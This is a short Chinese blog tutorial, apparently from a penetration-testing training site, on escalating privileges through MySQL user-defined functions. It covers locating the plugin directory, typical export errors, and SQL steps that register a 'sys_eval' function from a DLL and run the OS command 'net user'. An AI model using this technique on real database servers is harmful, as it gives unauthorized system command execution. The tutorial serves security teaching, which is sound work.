[原创]WEB安全第六章提权篇08 mysql udf 提权
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
WEB安全第六章提权篇08 mysql udf 提权
1.简介
在mysql 可以使用自定义函数进行提权,udf = user defined function 用户自定义函数
对于自定义的函数 在mysql5.1版本以后就需要放在插件插件目录 /lib/plugin ,文件后缀微
dll,c语言编写
2.插件目录
可以使用语句查询plugin插件目录
show variables like “%plugin%”
D:\phpStudy\MySQL\lib\plugin\
3. 使用udf提权
版本有32卫 和64位的mysql udf也是一样
导出的时候出错
这种是mysql默认设置是不允许导入导出
The MySQL server is running with the –secure-file-priv option so it cannot execute this statement
这种是没有权限导出
Can’t create/write to file ‘D:\phpStudy\MySQL\lib\plugin\moonudf.dll
查看是否存在plugin目录 没有则创建目录
权限不够
4.提权过程
1.导出udf
![[原创]WEB安全第六章提权篇08 mysql udf 提权](https://www.moonsec.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
2创建函数
create function sys_eval returns string soname ‘moonudf.dll’
3 执行命令
select sys_eval(‘net user’)
![[原创]WEB安全第六章提权篇08 mysql udf 提权](https://www.moonsec.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/427.html